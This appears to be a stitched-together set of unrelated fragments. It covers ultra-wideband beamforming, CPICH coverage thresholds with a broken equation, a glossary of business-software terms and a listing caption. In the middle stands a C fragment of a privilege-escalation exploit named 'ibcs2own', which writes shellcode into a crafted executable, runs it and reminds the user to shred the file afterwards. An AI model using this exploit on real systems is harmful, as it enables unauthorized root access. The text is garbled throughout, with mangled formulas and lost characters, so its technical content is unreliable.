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Mainlobe Width it can be proven that the UWB mainlobe width greatly depends on the ratio of center wavelength over array size, which corresponds to conventional narrow- and broadband beamforming. Grating Lobes grating lobes disappear for UWB signals because of broad averaging over frequency. Taking into account also the previous statement, the UWB mainlobe width can be made almost arbitrarily narrow simply by increasing the spacing between two antennas. This is opposite to narrowand broadband beamforming, where more antennas are needed to sharpen the mainlobe without undesired ambiguities caused by grating lobes. Sidelobe Level the UWB sidelobe level is xed for a rather wide range of bearings. This occurs because, for bearings outside the mainlobe direction, the travel time across the array may become larger than the short impulse duration, so that an overlap at the beamformers output is prevented. Hence, for UWB beamforming unequal pre ltering among the antenna branches is not really meaningful. This is in contrast to narrow- and broadband beamforming, where unequal pre lters are used to enhance the mainto sidelobe ratio. Peak Gain the UWB peak gain is doubled compared with conventional narrow- and wideband beamforming. This feature is of particular relevance for applications because it principally allows for halving the number of antennas. It can be exempli ed as follows. Suppose a delay-and-sum beamformer with two antennas, large antenna spacing and zero delays. Under this set-up a pulse-shaped wavefront arriving from the broadside is added constructively by the beamformer, leading to an output signal with doubled magnitude and therefore four times the peak (or instantaneous) power of the signal itself. In contrast, for another pulse-shaped wavefront arriving from end- re, the two pulses traveling along the two antenna branches do not overlap at the beamformer output (because of the large antenna spacing), so that the peak power equals the single signal power only. Hence, even with only two antennas, the peak power ratio is four, which means a doubled-dB gain. Interference Rejection opposite to sidelobe level suppression, rejection of UWB interferers requires lters on behalf of delays in each antenna branch in order to enable nulling over a wide frequency range for a few selected directions. However, since UWB is characterized by a dense multipath environment, distinct interference rejection is hard to achieve.

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In Equation (14.3) RSCPCPICH denotes the received signal code power of the CPICH as measured by the mobile and RSSI (received signal strength indicator) is the wideband received power within the relevant channel bandwidth in the downlink. Typical values for Ec /I0 CPICH tresh are between 7 and 12 dB for unloaded networks and between 10 and 15 dB for loaded networks. This threshold depends on the required service Eb /N0 , allowed cell load and environmental conditions. Since the coverage condition in a real network is fuzzy , some smooth or piecewise linear function could be used for the coverage criteria. The coverage criteria for the specific pixel (y) could be defined with a fuzzy threshold in the range 1 cov x y = 0 Ec /I0 CPICH Ec /I0 Ec /I0 CPICH < Ec /I0 otherwise

memcpy(shptr, shellcode, sizeof(shellcode)-1); unlink( ./ibcs2own ); if((fd = open( ./ibcs2own , O_CREAT^O_RDWR, 0755)) < 0) { perror( open ); exit(-1); } write(fd, ptr, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0) * 3) + 4096*3); close(fd); free(ptr); signal(SIGSEGV, (void (*)())sig_handler); signal(SIGILL, (void (*)())sig_handler); signal(SIGSYS, (void (*)())sig_handler); signal(SIGBUS, (void (*)())sig_handler); signal(SIGABRT, (void (*)())sig_handler); signal(SIGTRAP, (void (*)())sig_handler); printf( \nDO NOT FORGET TO SHRED ./ibcs2own\n ); execve(args[0], args, envs); perror( execve ); } void sig_handler() { _exit(0); }

A2 exp( ik0x)

customer relationship management (CRM) software. software that automates customer service and support. It also provides for customer data analysis and supports e-commerce storefronts. cyber investing investing through telecommunications, such as online trading on the Internet. cyberspace originally used in Neuromancer, William Gibson s novel of direct brain-computer networking, refers to the collective realms of computer-aided communication. data interchange format (DIF) file system to transfer computer files from one program to another. data warehouse a database structured to tactical information that can be used to answer specific questions about transactional company history. database management software computer programs used to manage data in a database. It is a set of programs that provide for defining, controlling, and accessing the database. The software allows managers to enter, manipulate, retrieve, display, select, sort, edit, and index data. debug process of tracing and correcting flaws in a software program or hardware device. Computerized routines may be used to find bugs. decision support system (DSS) branch of a management information system that provides answers to management problems and that integrates the decision maker into the system as a component. DSS software provides support to the manager in the decision-making process. It analyzes a specific situation and can be modified as the manager desires. Examples of applications include planning and forecasting. enterprise resource planning (ERP) software system that grew out of material requirements planning (MRP) systems to computerize inventory control and production planning. Key features include an ability to prepare a master production schedule, a bill of materials, and purchase orders. expert systems computer software involving stored reasoning schemes and containing decision-making processes of business experts in their specialized areas. The software mimics the way human experts make decisions. The expert system appraises and solves business problems requiring human intelligence and imagination that involve known and unknown information. The components of the expert system include a knowledge base, inference engine, user interface, and knowledge acquisition facility. Extensible Business Reporting Language (XBRL) formerly code named XFRML, a freely available electronic language

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Listing 8.13 Sales figures expressed in XML (SalesFigures.xml).